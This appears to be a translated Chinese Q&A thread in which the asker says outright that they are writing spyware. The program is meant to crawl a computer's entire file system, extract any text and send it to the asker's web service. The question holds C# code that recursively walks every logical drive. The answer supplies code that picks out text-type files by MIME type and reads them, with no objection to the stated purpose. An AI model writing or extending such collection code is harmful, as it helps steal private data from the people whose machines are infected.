是否可以创建一个从文件中提取文本的通用方法

本文关键字:提取 文件 取文本 方法 一个 创建 是否 | 更新日期: 2024-07-27 21:53:02

我正在创建一个间谍软件程序,该程序会破坏计算机的整个文件系统,查找它能找到的任何文本,并将其发送到我附带的web服务。我遇到的问题是,一旦我有了一个文件,它要么是我可以从中提取文本的文件类型(即,如果它是.txt.、.docx、.xml等文件),要么不是。如果是,我想从中提取文本。我现在拥有的是

    private string _accumulatedInfo;
    public FileCrawler ( )
    {
        this._accumulatedInfo = String.Empty;
    }
    private void GrabInfo ( System.IO.FileInfo fi )
    {
        // if can parse text out of file, add text to accumulated info string
        // ... 
    }
    private void _WalkDirectoryTree ( System.IO.DirectoryInfo root )
    {
        System.IO.FileInfo[] files = root.GetFiles("*.*");
        if ( files != null )
        {
            foreach ( System.IO.FileInfo fi in files )
            {
                GrabInfo(fi);   
            }
        }
        System.IO.DirectoryInfo[] subDirs = root.GetDirectories();
        if ( subDirs != null )
        {
            foreach ( System.IO.DirectoryInfo dirInfo in subDirs )
            {
                this._WalkDirectoryTree(dirInfo);
            }
        }
    }
    private void CrawlAllDrives ( )
    {
        string[] drives = System.Environment.GetLogicalDrives();
        foreach ( string dr in drives )
        {
            System.IO.DriveInfo di = new System.IO.DriveInfo(dr);
            if ( di.IsReady )
            {
                System.IO.DirectoryInfo rootDir = di.RootDirectory;
                this._WalkDirectoryTree(rootDir);
            }
        }
    }

我想知道如何,或者是否有可能,实现我的

    private void GrabInfo ( System.IO.FileInfo fi )
    {
        // if can parse text out of file, add text to accumulated info string
        // ... 
    }

方法,而不使用

    private void GrabInfo ( System.IO.FileInfo fi )
    {
        switch (fi.Extension)
        {
             case "txt":
                // ... 
             case "docx":
                // ...
             // ... 
        }
    }

是否存在从文件中提取文本的通用方法?

是否可以创建一个从文件中提取文本的通用方法

您可以执行以下操作:

System.IO.DirectoryInfo path =  new DirectoryInfo( @"c:'temp");
System.IO.FileInfo[] files = path.GetFiles("*.*");
if ( files != null )
{
    foreach ( System.IO.FileInfo fi in files.Where(f => MimeMapping.GetMimeMapping(f.FullName).StartsWith("text/")))
    {
        try 
        {
            var text = File.ReadAllText(fi.FullName);
        }
        catch 
        {
            // something bad happened
        }
    }
}

这将返回所有类似"文本"的类型。

你可以在这个答案中阅读更多关于它的内容。